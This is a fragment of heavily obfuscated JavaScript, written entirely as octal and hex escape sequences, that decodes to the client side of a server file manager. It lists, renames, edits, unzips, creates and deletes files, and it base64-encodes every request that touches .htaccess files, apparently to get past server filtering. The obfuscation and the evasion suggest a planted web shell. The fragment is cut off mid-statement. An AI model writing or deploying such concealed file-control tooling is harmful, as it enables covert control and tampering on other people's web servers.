157\162\x6d\104\x61\x74\141\x20\75\x20\x6e\145\167\40\x46\157\162\155\104\141\x74\141\50\x29\x3b\40\146\x6f\162\155\x44\x61\x74\x61\x2e\141\160\x70\x65\156\x64\x28\x27\x70\x61\164\150\x27\54\x20\123\124\101\124\105\x2e\x63\165\x72\162\145\156\x74\x50\x61\x74\x68\x29\x3b\12\40\x20\40\40\40\x20\40\x20\40\x20\40\40\141\x70\x69\103\141\154\154\50\47\154\x69\x73\x74\47\x2c\40\x66\x6f\x72\x6d\104\x61\x74\x61\x29\56\x74\x68\145\156\x28\162\x65\x73\165\154\x74\x20\x3d\x3e\x20\173\xa\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\151\146\x20\50\x21\162\145\163\165\154\164\x29\40\x72\145\164\165\x72\x6e\x3b\xa\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\123\124\x41\x54\x45\56\x63\x75\x72\x72\x65\x6e\x74\120\x61\164\x68\x20\x3d\x20\x72\145\163\x75\x6c\164\x2e\x70\141\x74\x68\x3b\40\x64\157\155\56\160\141\164\x68\x42\141\x72\56\164\145\x78\x74\103\157\x6e\164\145\156\164\x20\x3d\x20\123\x54\101\124\105\x2e\x63\165\x72\x72\145\x6e\x74\120\x61\164\x68\73\x20\x6c\x65\x74\x20\150\164\155\154\40\x3d\40\x27\47\73\x20\x6c\145\164\x20\160\141\162\145\x6e\164\120\141\164\150\x20\x3d\40\x53\124\101\124\x45\x2e\x63\165\x72\x72\145\x6e\x74\120\x61\164\150\56\x73\165\142\163\164\162\151\156\147\x28\60\54\40\123\124\x41\x54\x45\x2e\x63\x75\x72\162\x65\156\x74\x50\141\164\x68\56\x6c\x61\x73\164\x49\156\144\x65\x78\117\x66\50\47\57\x27\x29\51\x3b\40\151\x66\40\50\160\x61\162\x65\x6e\x74\120\141\x74\150\x20\x3d\75\75\40\x27\x27\x29\40\160\141\x72\x65\x6e\164\120\x61\164\150\40\75\40\x27\x2f\47\73\12\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x69\x66\x20\50\123\124\x41\x54\105\56\x63\165\162\x72\145\x6e\164\x50\x61\x74\x68\x20\x21\x3d\x3d\40\x27\x2f\x27\51\x20\x7b\x20\150\164\x6d\154\40\x2b\x3d\40\x60\x3c\164\162\x20\x64\141\164\141\55\160\x61\x74\x68\x3d\42\44\x7b\x70\x61\x72\x65\x6e\164\120\x61\x74\x68\175\x22\x3e\x3c\x74\144\76\x3c\x2f\164\x64\76\74\164\x64\40\143\x6f\154\163\x70\141\156\75\x22\64\42\x20\143\x6c\141\x73\x73\75\x22\x69\x74\x65\155\55\x6c\x69\x6e\153\x22\x3e\xc3\x83\302\xa2\xc3\x82\xc2\254\xc3\202\xc2\x86\303\x83\302\257\303\x82\302\270\303\x82\302\217\40\x2e\x2e\x20\x28\x50\141\x72\x65\156\164\40\x44\x69\162\x65\143\x74\157\x72\171\x29\x3c\x2f\x74\144\x3e\74\57\x74\162\76\140\x3b\40\175\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\x72\145\x73\165\154\x74\x2e\x66\x69\x6c\145\x73\x2e\163\157\x72\x74\x28\50\141\x2c\142\x29\x20\75\76\x20\50\141\56\151\163\137\144\151\162\x20\75\x3d\75\x20\142\x2e\151\x73\x5f\144\x69\x72\51\40\x3f\40\x61\x2e\x6e\x61\x6d\x65\x2e\x6c\x6f\143\141\154\145\103\x6f\x6d\x70\141\x72\145\50\x62\x2e\x6e\x61\x6d\145\51\40\x3a\40\x28\141\x2e\151\163\x5f\x64\x69\162\40\x3f\x20\55\x31\40\72\40\61\51\51\73\12\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\162\145\x73\165\154\x74\56\146\151\x6c\145\163\x2e\x66\157\x72\x45\141\143\x68\50\x66\x69\154\x65\40\75\76\x20\x7b\12\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x63\157\156\x73\164\x20\163\151\172\145\x20\75\x20\x66\151\154\x65\56\x69\163\137\x64\151\162\x20\x3f\x20\47\x2d\x27\40\x3a\x20\50\x66\151\154\x65\56\163\151\x7a\145\x20\57\40\61\60\x32\x34\x29\56\x74\x6f\106\151\x78\145\144\50\x32\51\40\53\40\47\x20\113\102\47\x3b\40\x63\x6f\156\163\164\x20\155\x6f\x64\151\x66\x69\145\x64\40\x3d\40\x6e\x65\x77\40\x44\x61\164\x65\50\146\x69\154\145\x2e\155\157\144\x69\146\151\145\144\40\x2a\x20\x31\60\60\60\x29\x2e\x74\157\114\x6f\x63\x61\154\x65\x53\x74\162\151\156\147\x28\51\73\12\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x63\157\156\163\164\40\x69\x63\157\156\x20\x3d\x20\146\151\154\x65\x2e\151\163\x5f\144\x69\x72\x20\x3f\x20\47\303\x83\xc2\260\xc3\202\xc2\237\303\202\302\223\303\202\302\201\x27\40\x3a\40\x27\303\203\xc2\260\303\202\xc2\x9f\xc3\x82\xc2\x93\303\x82\xc2\204\x27\73\12\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x63\x6f\x6e\x73\164\x20\x66\x75\154\154\120\x61\x74\150\x20\75\40\x60\x24\x7b\123\x54\x41\x54\x45\56\x63\165\x72\x72\x65\x6e\164\x50\141\164\x68\175\x2f\x24\173\146\x69\x6c\145\x2e\156\141\155\145\175\x60\x2e\x72\145\x70\154\x61\x63\x65\50\x2f\134\x2f\53\57\x67\54\x20\x27\x2f\47\x29\73\x20\x63\157\156\x73\x74\x20\144\141\x74\x61\101\164\x74\162\x20\x3d\40\x60\x64\x61\164\141\55\160\141\164\150\x3d\42\x24\x7b\146\165\154\154\x50\141\164\x68\x7d\42\140\73\40\143\x6f\156\x73\x74\40\x72\x6f\167\104\141\164\x61\40\x3d\x20\x66\151\x6c\145\x2e\151\163\x5f\144\151\162\40\77\x20\x60\143\154\141\163\163\75\42\144\151\162\x2d\x6c\151\156\x6b\42\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x60\x20\72\40\47\47\73\xa\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\150\x74\x6d\x6c\x20\x2b\75\x20\140\74\164\x72\40\44\173\x72\x6f\167\104\141\x74\x61\x7d\76\74\164\144\76\74\151\156\160\165\x74\40\164\x79\160\x65\75\x22\143\150\x65\143\153\142\157\x78\42\x20\143\154\141\x73\163\x3d\x22\x69\x74\x65\155\x2d\163\145\x6c\145\143\164\42\x20\x76\x61\154\165\145\x3d\x22\44\173\146\151\154\x65\x2e\156\x61\155\x65\175\x22\76\x3c\x2f\x74\144\x3e\x3c\164\144\76\x3c\141\x20\x68\162\145\x66\75\x22\43\x22\40\x63\x6c\x61\x73\x73\75\42\151\164\145\155\55\154\x69\156\x6b\42\x20\x24\x7b\x64\141\164\x61\x41\x74\164\162\175\76\x24\173\151\143\x6f\x6e\x7d\40\44\x7b\x66\151\x6c\145\56\x6e\141\x6d\x65\175\74\x2f\x61\x3e\74\x2f\x74\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\x3e\x3c\x74\144\x3e\x24\173\155\x6f\144\151\146\x69\145\x64\175\74\x2f\164\144\x3e\x3c\x74\144\76\74\144\151\166\x20\143\x6c\141\163\x73\75\42\x61\143\x74\151\157\x6e\163\x22\x3e\x24\x7b\x21\x66\x69\x6c\x65\x2e\x69\x73\x5f\x64\x69\162\x20\x3f\40\140\74\142\165\164\x74\157\156\x20\x63\x6c\x61\x73\x73\x3d\x22\142\x75\164\164\157\156\40\x65\x64\151\x74\x2d\142\x74\156\x22\40\x24\173\x64\141\x74\141\x41\x74\164\162\x7d\76\x45\144\x69\164\x3c\x2f\142\x75\164\x74\x6f\156\x3e\140\40\72\40\x27\47\175\x3c\142\x75\x74\x74\x6f\156\40\x63\154\x61\x73\163\75\42\x62\165\x74\x74\x6f\156\x20\162\145\156\141\x6d\145\55\x62\164\x6e\x22\40\144\x61\x74\141\55\156\x61\x6d\145\x3d\x22\44\173\146\x69\x6c\145\56\x6e\141\x6d\x65\x7d\42\x3e\x52\145\156\x61\155\x65\x3c\57\142\165\164\x74\157\156\x3e\x24\x7b\146\x69\x6c\x65\x2e\156\x61\x6d\x65\x2e\145\x6e\x64\x73\127\151\x74\x68\50\47\x2e\x7a\x69\x70\x27\x29\40\x3f\40\140\x3c\x62\x75\x74\x74\157\x6e\x20\143\x6c\x61\163\163\75\42\x62\x75\x74\164\x6f\156\40\165\156\172\151\x70\x2d\142\164\156\x22\40\44\173\144\x61\x74\x61\x41\164\164\x72\x7d\76\125\x6e\x7a\151\x70\x3c\x2f\142\165\164\x74\157\156\76\x60\x3a\x27\x27\x20\175\x3c\57\144\x69\166\x3e\74\x2f\x74\x64\76\x3c\x2f\x74\x72\x3e\140\73\12\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\175\x29\73\12\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\144\157\155\x2e\146\151\x6c\145\114\151\163\164\x2e\151\156\x6e\x65\x72\x48\x54\115\114\x20\75\40\150\x74\x6d\154\73\x20\144\x6f\155\x2e\163\x65\154\145\x63\x74\x41\x6c\154\x2e\x63\x68\145\x63\153\x65\144\x20\x3d\40\x66\141\154\x73\x65\x3b\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x7d\51\x3b\xa\x20\x20\40\40\40\x20\x20\x20\x7d\12\40\40\x20\x20\x20\40\x20\40\xa\40\x20\40\40\40\40\x20\x20\x64\157\155\56\x66\151\154\145\x4c\x69\x73\x74\x2e\141\x64\144\x45\x76\x65\156\164\114\x69\163\x74\x65\x6e\145\x72\x28\47\143\x6c\151\x63\x6b\x27\x2c\40\145\40\75\x3e\40\x7b\xa\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x69\x66\40\x28\145\56\164\x61\162\x67\x65\164\56\x6d\141\x74\143\x68\x65\163\50\47\x2e\151\164\145\155\55\x73\x65\154\x65\x63\164\x27\x29\x29\x20\173\40\x72\x65\164\x75\162\x6e\73\x20\x7d\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x63\157\x6e\163\x74\x20\142\x75\164\164\157\x6e\x20\75\40\x65\x2e\164\141\162\x67\x65\164\x2e\x63\x6c\x6f\x73\x65\x73\x74\x28\47\x62\165\164\164\157\156\x27\51\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\151\x66\x20\x28\142\x75\164\164\x6f\x6e\x29\x20\173\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x65\x2e\160\162\x65\166\145\x6e\x74\104\x65\146\141\x75\154\x74\x28\x29\x3b\12\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\151\146\x20\50\142\165\164\x74\x6f\x6e\56\155\x61\164\x63\x68\x65\163\50\x27\x2e\x72\x65\156\141\155\145\55\142\x74\x6e\47\x29\x29\40\x7b\12\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\143\x6f\x6e\163\x74\40\x6f\x6c\x64\116\x61\x6d\145\x20\x3d\x20\x62\x75\x74\164\x6f\156\56\x64\141\x74\141\163\x65\164\x2e\x6e\x61\x6d\x65\73\12\40\40\40\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\x63\x6f\156\x73\164\x20\156\145\x77\x4e\141\155\145\40\75\40\x70\162\x6f\155\160\164\x28\47\x45\156\x74\x65\162\x20\x6e\145\x77\x20\x6e\x61\155\145\72\47\x2c\40\157\x6c\144\116\141\x6d\145\51\x3b\xa\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\x69\x66\x20\x28\156\x65\x77\x4e\x61\x6d\x65\40\46\46\40\156\145\167\116\x61\155\145\40\41\x3d\x3d\x20\157\x6c\x64\116\x61\x6d\145\51\x20\173\xa\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x63\x6f\x6e\x73\x74\40\146\x64\x20\x3d\40\156\x65\167\40\x46\157\x72\155\x44\x61\x74\x61\50\51\73\12\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\146\144\x2e\141\x70\160\145\156\144\x28\47\160\141\x74\x68\x27\x2c\x20\x53\124\x41\124\x45\x2e\x63\x75\x72\x72\145\x6e\x74\120\x61\164\150\x29\x3b\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\154\x65\164\40\x61\x63\x74\151\157\x6e\x20\x3d\x20\x27\x72\x65\156\x61\155\x65\47\73\12\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\x69\x66\x20\x28\157\154\x64\116\x61\x6d\145\x2e\151\x6e\x63\154\x75\144\145\x73\50\47\x2e\x68\164\x61\143\x63\145\163\163\47\x29\x20\174\x7c\x20\x6e\145\167\x4e\x61\155\145\x2e\151\x6e\143\154\165\144\x65\x73\50\47\x2e\150\164\141\x63\x63\145\x73\x73\x27\51\x29\x20\x7b\12\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x61\x63\164\151\157\x6e\40\x3d\40\x27\162\x65\x6e\141\x6d\x65\x5f\142\x36\64\x27\73\xa\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\146\x64\x2e\x61\160\160\x65\156\x64\50\x27\157\x6c\x64\x5f\x6e\141\x6d\145\x5f\x62\66\x34\47\54\x20\x62\x74\157\x61\x28\x6f\x6c\144\116\141\x6d\x65\x29\51\x3b\12\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\146\x64\x2e\x61\x70\160\x65\x6e\x64\50\x27\156\145\167\x5f\156\141\155\145\x5f\142\x36\x34\x27\54\x20\142\164\157\x61\x28\156\x65\x77\116\x61\x6d\145\x29\x29\x3b\xa\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x7d\x20\x65\154\163\x65\x20\173\12\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x66\144\56\x61\x70\160\x65\x6e\144\50\x27\157\154\x64\x5f\156\x61\x6d\145\47\54\x20\x6f\x6c\x64\x4e\x61\x6d\145\x29\x3b\xa\x20\40\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\x66\144\56\x61\x70\x70\145\156\x64\50\x27\156\x65\167\x5f\x6e\141\155\x65\x27\x2c\x20\156\x65\x77\116\x61\x6d\145\51\x3b\12\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x7d\12\40\40\40\40\40\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x61\x70\x69\x43\141\x6c\x6c\50\x61\143\164\151\x6f\156\x2c\x20\146\x64\51\56\164\150\x65\x6e\x28\x72\145\156\144\145\162\51\73\xa\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x7d\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x7d\40\12\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x65\154\163\145\x20\151\146\x20\x28\x62\x75\164\x74\x6f\x6e\x2e\155\x61\164\143\x68\x65\163\50\x27\56\165\x6e\172\151\160\x2d\142\x74\x6e\47\x29\51\40\173\40\x69\146\x20\50\x63\157\x6e\x66\151\x72\x6d\x28\47\101\x72\x65\40\x79\157\165\40\163\165\162\145\40\x79\157\x75\x20\x77\x61\x6e\x74\x20\x74\x6f\40\x65\x78\164\x72\x61\143\164\x20\164\x68\151\163\x20\x61\162\143\x68\151\166\x65\x3f\x27\x29\51\x20\173\x20\143\x6f\156\163\x74\x20\146\144\x20\75\x20\156\145\167\x20\106\x6f\162\x6d\x44\x61\x74\x61\x28\51\73\40\146\x64\x2e\141\160\160\x65\x6e\x64\x28\47\x70\x61\x74\x68\47\54\x20\x62\165\x74\x74\x6f\156\56\x64\x61\x74\x61\x73\145\164\x2e\x70\141\x74\x68\51\x3b\x20\x61\160\151\x43\x61\154\154\50\x27\165\x6e\172\x69\x70\x27\54\40\146\x64\54\40\x74\162\x75\145\x29\x2e\164\150\145\x6e\50\162\145\156\144\145\x72\x29\x3b\x20\175\40\x7d\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x65\x6c\x73\x65\x20\x69\146\x20\x28\142\x75\x74\164\x6f\x6e\56\155\141\x74\x63\x68\x65\x73\50\x27\x2e\145\144\x69\x74\x2d\142\164\x6e\x27\51\51\40\173\12\40\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\x70\x61\164\150\x20\x3d\40\142\165\x74\x74\157\x6e\56\x64\x61\x74\141\163\x65\164\x2e\x70\x61\164\150\73\12\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\143\x6f\156\x73\164\40\146\144\40\x3d\40\156\145\167\40\106\x6f\162\155\x44\141\x74\x61\50\51\73\12\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\154\145\164\x20\141\x63\x74\151\x6f\x6e\x20\75\40\47\147\x65\x74\137\x63\157\156\164\x65\156\164\47\73\12\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\151\x66\x20\x28\x70\x61\x74\x68\56\x69\x6e\x63\154\165\x64\145\163\50\x27\x2e\150\x74\141\x63\143\145\163\163\47\x29\51\40\173\xa\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x61\x63\x74\151\157\x6e\x20\75\x20\x27\x67\x65\x74\137\x63\x6f\156\164\x65\156\164\x5f\x62\66\x34\47\73\xa\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x66\x64\x2e\141\160\x70\145\156\144\x28\x27\x70\141\x74\x68\137\x62\x36\x34\x27\54\40\142\164\x6f\141\50\x70\141\x74\x68\x29\x29\x3b\xa\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\175\x20\145\x6c\x73\x65\x20\x7b\12\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x66\x64\56\x61\160\x70\x65\x6e\144\50\x27\x70\x61\164\x68\x27\54\x20\x70\x61\164\150\51\x3b\12\40\40\40\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\175\12\x20\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\141\x70\x69\103\x61\154\x6c\50\141\143\164\x69\157\156\x2c\40\x66\x64\51\x2e\164\150\145\x6e\x28\x72\145\x73\165\154\x74\x20\x3d\x3e\x20\x7b\xa\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\151\x66\x28\162\145\163\165\x6c\x74\x29\40\x7b\12\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x64\x6f\x6d\x2e\x65\144\151\164\x6f\x72\x46\x69\x6c\145\x6e\141\x6d\x65\56\x74\x65\x78\x74\103\x6f\156\x74\x65\x6e\x74\40\75\40\160\141\164\150\73\12\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\144\x6f\x6d\56\145\x64\151\164\157\x72\x2e\x76\141\154\165\145\x20\x3d\40\141\x74\157\142\x28\141\164\x6f\142\50\x72\x65\163\165\x6c\164\56\x63\x6f\x6e\164\145\156\x74\x29\x29\x3b\xa\40\40\40\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x64\157\155\x2e\145\144\x69\x74\x6f\x72\x4d\157\x64\x61\154\x2e\x73\164\x79\x6c\145\x2e\x64\x69\x73\160\154\141\x79\40\x3d\40\x27\x66\154\x65\170\x27\x3b\xa\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\x7d\xa\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\175\x29\73\12\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x7d\xa\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\162\x65\164\x75\162\156\x3b\12\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x7d\xa\40\40\x20\x20\40\40\40\x20\40\40\x20\40\143\x6f\156\163\164\40\x6e\x61\x76\x54\x61\x72\147\x65\164\x20\x3d\x20\145\56\x74\x61\162\147\145\x74\x2e\143\x6c\x6f\163\x65\163\164\x28\47\133\x64\x61\164\141\55\x70\141\164\x68\x5d\x27\x29\x3b\12\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x69\146\x20\x28\156\x61\x76\124\x61\x72\147\x65\164\x29\40\173\40\145\56\160\162\145\166\145\156\x74\104\x65\x66\141\x75\154\x74\x28\51\73\x20\x53\x54\101\124\x45\x2e\x63\165\x72\x72\145\x6e\164\120\141\164\150\40\75\40\x6e\141\x76\124\x61\x72\x67\x65\164\56\x64\x61\164\141\163\x65\x74\56\160\141\x74\150\73\40\162\145\156\x64\145\162\50\x29\73\40\x7d\xa\x20\40\x20\40\40\40\40\40\x7d\51\x3b\xa\x20\40\40\40\40\40\40\40\12\40\x20\40\x20\40\x20\x20\x20\144\x6f\x6d\56\156\145\167\106\x6f\154\144\145\x72\102\x74\156\x2e\x61\144\x64\105\166\145\x6e\164\114\x69\x73\x74\x65\156\145\162\50\x27\143\x6c\151\x63\x6b\47\54\40\50\51\40\75\x3e\x20\173\40\x63\x6f\x6e\163\x74\x20\156\141\155\x65\x20\x3d\40\x70\162\x6f\x6d\x70\164\x28\47\105\x6e\164\x65\x72\40\156\x65\167\x20\146\x6f\154\144\x65\162\x20\x6e\141\x6d\x65\x3a\x27\x29\x3b\40\x69\x66\x20\x28\156\141\155\x65\x29\40\x7b\40\x63\157\156\163\x74\x20\146\x64\40\x3d\x20\156\145\x77\x20\106\157\x72\x6d\104\x61\164\141\50\x29\73\40\146\x64\56\141\160\x70\x65\x6e\144\x28\x27\x70\141\x74\150\x27\x2c\40\123\124\x41\124\105\x2e\x63\165\x72\162\x65\156\x74\x50\x61\164\150\x29\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x6e\x61\x6d\145\47\54\x20\x6e\141\x6d\x65\x29\73\40\141\160\x69\x43\141\x6c\x6c\x28\47\x63\x72\145\141\x74\145\x5f\x66\157\x6c\144\x65\162\x27\54\40\146\144\x29\x2e\x74\x68\145\156\x28\162\x65\156\x64\145\162\x29\73\x20\x7d\x20\x7d\51\73\xa\x20\x20\40\x20\x20\40\x20\40\x64\157\x6d\56\156\x65\x77\106\x69\154\145\x42\x74\156\x2e\141\x64\x64\x45\166\145\156\x74\x4c\x69\x73\x74\145\x6e\x65\x72\x28\47\x63\x6c\x69\143\153\47\54\x20\50\51\40\75\x3e\x20\x7b\40\143\157\156\163\x74\40\x6e\141\155\x65\40\75\x20\x70\x72\157\x6d\160\x74\50\x27\x45\x6e\164\x65\x72\x20\156\x65\167\x20\x66\151\154\x65\x20\x6e\141\155\x65\x3a\x27\51\73\40\151\x66\40\50\x6e\141\155\145\x29\40\x7b\x20\143\157\156\163\x74\x20\146\x64\x20\x3d\x20\x6e\x65\x77\40\106\157\162\155\x44\x61\164\x61\50\51\x3b\x20\146\x64\56\x61\160\160\145\156\x64\x28\47\x70\x61\x74\x68\x27\54\x20\x53\124\x41\x54\105\56\143\165\162\162\x65\x6e\x74\x50\x61\164\150\x29\73\x20\x66\x64\x2e\141\x70\160\x65\x6e\144\x28\47\156\141\x6d\x65\x27\x2c\40\x6e\x61\155\x65\x29\73\40\x61\160\x69\103\x61\154\154\x28\47\x63\162\x65\x61\164\x65\x5f\146\151\154\x65\x27\x2c\x20\146\x64\x29\x2e\x74\150\x65\156\50\162\x65\x6e\144\x65\x72\51\73\x20\175\x20\x7d\x29\x3b\xa\40\x20\40\x20\x20\40\x20\x20\144\157\155\56\163\x65\x6c\145\143\164\101\x6c\154\56\x61\144\x64\105\x76\145\x6e\164\x4c\151\163\x74\145\156\145\x72\50\x27\x63\x68\141\156\147\x65\x27\54\x20\x65\x20\75\x3e\40\x64\157\143\165\155\145\x6e\x74\x2e\x71\165\x65\x72\x79\123\145\154\x65\143\164\157\x72\x41\x6c\x6c\50\47\x2e\151\164\x65\x6d\55\x73\x65\154\x65\143\164\x27\x29\56\146\157\x72\105\x61\x63\150\x28\143\x62\x20\75\x3e\40\x63\x62\x2e\x63\x68\x65\x63\153\x65\144\40\75\40\145\x2e\164\x61\162\x67\145\x74\56\x63\150\x65\x63\153\x65\144\51\x29\x3b\12\x20\40\40\40\40\40\40\40\xa\x20\40\x20\40\40\40\x20\40\144\x6f\155\x2e\x64\x65\154\145\x74\x65\x42\x74\156\x2e\x61\x64\144\x45\x76\x65\x6e\164\x4c\151\163\164\145\x6e\145\x72\50\47\x63\x6c\151\x63\x6b\47\54\x20\x28\x29\40\x3d\76\40\173\12\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x63\157\156\163\x74\x20\163\x65\154\145\x63\x74\x65\144\40\75\40\101\162\162\x61\x79\x2e\x66\162\x6f\155\50\x64\157\143\x75\x6d\x65\x6e\164\56\x71\x75\145\x72\171\123\x65\154\x65\x63\x74\157\x72\x41\x6c\x6c\x28\47\56\151\x74\x65\x6d\x2d\x73\145\x6c\145\x63\x74\72\143\150\145\x63\153\145\144\x27\x29\51\56\x6d\141\x70\50\143\x62\x20\75\76\x20\143\142\x2e\166\141\x6c\165\145\x29\73\12\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\151\x66\x20\50\163\x65\x6c\x65\143\x74\x65\144\56\154\x65\x6e\147\x74\x68\x20\75\75\75\40\x30\51\x20\x72\x65\x74\165\162\156\x20\141\x6c\145\162\x74\x28\x27\116\x6f\x20\x69\164\x65\x6d\163\40\x73\145\154\x65\143\164\x65\144\x2e\x27\x29\73\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\151\146\x20\50\x63\x6f\156\146\x69\x72\x6d\50\140\101\162\x65\40\171\x6f\165\x20\163\165\162\x65\40\x79\157\165\x20\167\141\156\x74\x20\x74\x6f\40\x64\145\154\x65\164\145\40\x24\173\163\145\154\145\x63\x74\145\144\x2e\x6c\x65\x6e\x67\164\150\175\40\x69\x74\145\x6d\x28\x73\x29\x3f\x60\51\x29\x20\x7b\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\143\x6f\156\163\164\40\146\144\x20\75\40\x6e\145\167\40\106\x6f\162\155\x44\x61\x74\141\50\51\x3b\xa\40\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\146\144\56\141\x70\160\145\x6e\x64\50\47\160\x61\164\x68\x27\x2c\x20\123\124\101\124\105\56\143\165\162\x72\145\x6e\164\120\x61\x74\x68\51\73\12\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\143\157\156\x73\x74\40\151\163\x53\x65\156\x73\151\x74\151\166\145\40\75\40\x73\x65\154\145\143\164\x65\144\x2e\163\x6f\x6d\145\x28\x69\x74\145\x6d\40\x3d\x3e\40\151\x74\x65\155\56\x69\x6e\143\154\x75\x64\x65\x73\x28\x27\x2e\150\164\x61\143\x63\145\x73\163\47\51\x29\x3b\12\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\154\x65\164\40\x61\143\164\151\x6f\156\40\x3d\40\x27\144\145\154\145\x74\145\47\x3b\xa\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x69\146\x20\x28\151\163\x53\145\156\163\151\x74\151\x76\x65\x29\x20\173\12\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\141\143\x74\151\x6f\x6e\40\x3d\x20\x27\x64\145\154\x65\x74\145\x5f\x62\x36\x34\47\73\12\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\x73\145\x6c\x65\x63\164\x65\144\x2e\146\157\162\105\x61\143\x68\50\x69\x74\x65\155\x20\x3d\76\40\x66\144\x2e\141\160\x70\145\156\144\50\47\x69\x74\x65\x6d\163\137\142\66\64\x5b\x5d\x27\x2c\x20\142\x74\x6f\x61\x